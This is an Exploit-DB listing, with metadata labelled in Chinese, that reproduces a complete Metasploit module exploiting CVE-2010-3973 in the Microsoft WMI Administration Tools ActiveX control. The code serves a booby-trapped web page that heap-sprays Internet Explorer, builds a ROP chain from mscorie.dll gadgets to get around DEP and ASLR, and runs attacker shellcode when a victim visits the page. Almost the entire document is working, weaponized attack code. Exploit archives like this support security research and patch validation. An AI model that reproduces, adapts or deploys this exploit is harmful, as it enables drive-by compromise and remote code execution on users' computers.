标题: Microsoft WMI Administration Tools - ActiveX Buffer Overflow (Metasploit) EDB-ID: 16516 CVE: 2010-3973 类型: REMOTE 平台: WINDOWS 发布日期: 2011-01-14 漏洞利用脚本: ##
# $Id: wmi_admintools.rb 11579 2011-01-14 16:25:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::BrowserAutopwn

 autopwn_info({
  :os_name    => OperatingSystems::WINDOWS,
  :rank       => NormalRanking,
  :vuln_test  => nil,
 })

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft WMI Administration Tools ActiveX Buffer Overflow',
   'Description'    => %q{
     This module exploits a memory trust issue in the Microsoft WMI
    Administration tools ActiveX control. When processing a specially crafted
    HTML page, the WEBSingleView.ocx ActiveX Control (1.50.1131.0) will treat
    the 'lCtxHandle' parameter to the 'AddContextRef' and 'ReleaseContext' methods
    as a trusted pointer. It makes an indirect call via this pointer which leads
    to arbitrary code execution.

    This exploit utilizes a combination of heap spraying and the
    .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not
    opt-in to ASLR. As such, this module should be reliable on all Windows
    versions.

    The WMI Adminsitrative Tools are a standalone download & install (linked in the
    references).

   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'WooYun', 'MC', 'jduck' ],
   'Version'        => '$Revision: 11579 $',
   'References'     =>
    [
     [ 'OSVDB', '69942'],
     [ 'CVE', '2010-3973' ],
     [ 'BID', '45546' ],
     [ 'URL', 'http://wooyun.org/bug.php?action=view&id=1006' ],
     [ 'URL', 'http://xcon.xfocus.net/XCon2010_ChenXie_EN.pdf' ],  # .NET 2.0 ROP (slide 25)
     [ 'URL', 'http://secunia.com/advisories/42693' ],
     [ 'URL', 'http://www.microsoft.com/downloads/en/details.aspx?FamilyID=6430f853-1120-48db-8cc5-f2abdc3ed314' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'         => 512,
     'BadChars'      => "\x00",
     'DisableNops'   => true
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { } ],
     [ 'Windows Universal',  { 'SprayTarget' => 0x105ae020 } ],
     [ 'Debug Target (Crash)', { 'SprayTarget' => 0x70707070 } ] # must be < 0x80000000
    ],
   'DisclosureDate' => 'Dec 21 2010',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def auto_target(cli, request)
  mytarget = nil

  agent = request.headers['User-Agent']
  #print_status("Checking user agent: #{agent}")
  if agent =~ /MSIE 6\.0/ or agent =~ /MSIE 7\.0/ or agent =~ /MSIE 8\.0/
   mytarget = targets[1]
  else
   print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
  end
  mytarget
 end

 def on_request_uri(cli, request)

  mytarget = target
  if target.name == 'Automatic'
   mytarget = auto_target(cli, request)
   if (not mytarget)
    send_not_found(cli)
    return
   end
  end

  if request.uri == get_resource() or request.uri =~ /\/$/
   print_status("Sending #{self.refname} redirect to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")

   redir = get_resource()
   redir << '/' if redir[-1,1] != '/'
   redir << rand_text_alphanumeric(4+rand(4))
   redir << '.html'
   send_redirect(cli, redir)

  elsif request.uri =~ /\.html?$/
   # Re-generate the payload
   return if ((p = regenerate_payload(cli)) == nil)

   print_status("Sending #{self.refname} HTML to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")

   # Generate the ROP payload
   buf_addr = mytarget['SprayTarget']
   rvas = rvas_mscorie_v2()
   rop_stack = generate_rop(buf_addr, rvas)

   fix_esp = rva2addr(rvas, 'pop ebp / ret')
   pivot1  = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8')
   pivot2  = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret')

   pivot_str = Rex::Text.to_unescape([pivot1].pack('V'))

   special_sauce = [
    buf_addr + 0x10,
    pivot2, # becomes eip via trusted ptr
    fix_esp,
    0xdeadbeef,
    pivot1, # used by AddContextRef
    pivot1  # used by ReleaseContext
   ].pack('V*')

   # Append the payload to the rop_stack
   rop_stack << p.encoded

   # Add in the rest of the ROP stack
   special_sauce << rop_stack

   special_sauce = Rex::Text.to_unescape(special_sauce)
   shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
   nops      = Rex::Text.to_unescape(make_nops(4))
   js_function  = rand_text_alpha(rand(32)+1)
   vname  = rand_text_alpha(rand(32) + 1)

   clsid = "2745E5F5-D234-11D0-847A-00C04FD7BB08"
   progid = "WBEM.SingleViewCtrl.1"

   method_names = [
    "AddContextRef",
    "ReleaseContext"
   ]

   method_name = method_names[rand(method_names.length)]

   # Construct the heap spray javascript
   custom_js = <<-EOS
function #{js_function}() {
heap = new heapLib.ie(0x20000);
var heapspray = unescape("#{special_sauce}");
while(heapspray.length < 0x1000) heapspray += unescape("%u4444");
var heapblock = heapspray;
while(heapblock.length < 0x40000) heapblock += heapblock;
finalspray = heapblock.substring(2, 0x40000 - 0x21);
for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); }
#{vname}.#{method_name}(#{"0x%x" % buf_addr});
}
EOS
   js = heaplib(custom_js)

   dll_uri = get_resource()
   dll_uri << '/' if dll_uri[-1,1] != '/'
   dll_uri << "generic-" + Time.now.to_i.to_s + ".dll"

   # Construct the final page
   content = <<-EOS
<html>
<head>
<script language='javascript'>
#{js}
</script>
</head>
<body onload='#{js_function}()'>
<object classid="#{dll_uri}#GenericControl" />
<object classid="clsid:#{clsid}" id="#{vname}"></object>
</body>
</html>
EOS

   # Transmit the response to the client
   send_response_html(cli, content)

  elsif request.uri =~ /\.dll$/
   print_status("Sending #{self.refname} DLL to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")

   # Generate a .NET v2.0 DLL, note that it doesn't really matter what this contains since we don't actually
   # use it's contents ...
   ibase = (0x2000 | rand(0x8000)) << 16
   dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16))

   # Send a .NET v2.0 DLL down
   send_response(cli, dll,
    {
     'Content-Type' => 'application/x-msdownload',
     'Connection'   => 'close',
     'Pragma'       => 'no-cache'
    })
  end

  # Handle the payload
  handler(cli)
 end

 def rvas_mscorie_v2()
  # mscorie.dll version v2.0.50727.3053
  # Just return this hash
  {
   'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e,
   'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b,
   'pop ebp / ret'          => 0x5557,
   'call [ecx] / pop ebp / ret 0xc' => 0x1ec4,
   'pop eax / ret'          => 0x5ba1,
   'pop ebx / ret'          => 0x54c0,
   'pop ecx / ret'          => 0x1e13,
   'pop esi / ret'          => 0x1d9a,
   'pop edi / ret'          => 0x2212,
   'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6,
   'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154,
  }
 end

 def generate_rop(buf_addr, rvas)
  # ROP fun! (XP SP3 English, Dec 15 2010)
  rvas.merge!({
   # Instructions / Name    => RVA
   'BaseAddress'            => 0x63f00000,
   'imp_VirtualAlloc'       => 0x10f4
  })

  rop_stack = [
   # Allocate an RWX memory segment
   'pop ecx / ret',
   'imp_VirtualAlloc',

   'call [ecx] / pop ebp / ret 0xc',
   0,         # lpAddress
   0x1000,    # dwSize
   0x3000,    # flAllocationType
   0x40,      # flProt
   :unused,

   # Copy the original payload
   'pop ecx / ret',
   :unused,
   :unused,
   :unused,
   :memcpy_dst,

   'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc',
   :unused,

   'pop esi / ret',
   :unused,
   :unused,
   :unused,
   :memcpy_src,

   'pop edi / ret',
   0xdeadf00d # to be filled in above
  ]
  (0x200 / 4).times {
   rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret'
  }
  # Execute the payload ;)
  rop_stack << 'call [ecx] / pop ebp / ret 0xc'

  rop_stack.map! { |e|
   if e.kind_of? String
    # Meta-replace (RVA)
    raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]
    rvas['BaseAddress'] + rvas[e]

   elsif e == :unused
    # Randomize
    rand_text(4).unpack('V').first

   elsif e == :memcpy_src
    # Based on stack length..
    buf_addr + 0x18 + (rop_stack.length * 4)

   elsif e == :memcpy_dst
    # Store our new memory ptr into our buffer for later popping :)
    buf_addr + 0x18 + (21 * 4)

   else
    # Literal
    e
   end
  }

  rop_stack.pack('V*')
 end

 def rva2addr(rvas, key)
  raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]
  rvas['BaseAddress'] + rvas[key]
 end

end URL: https://www.exploit-db.com/exploits/16516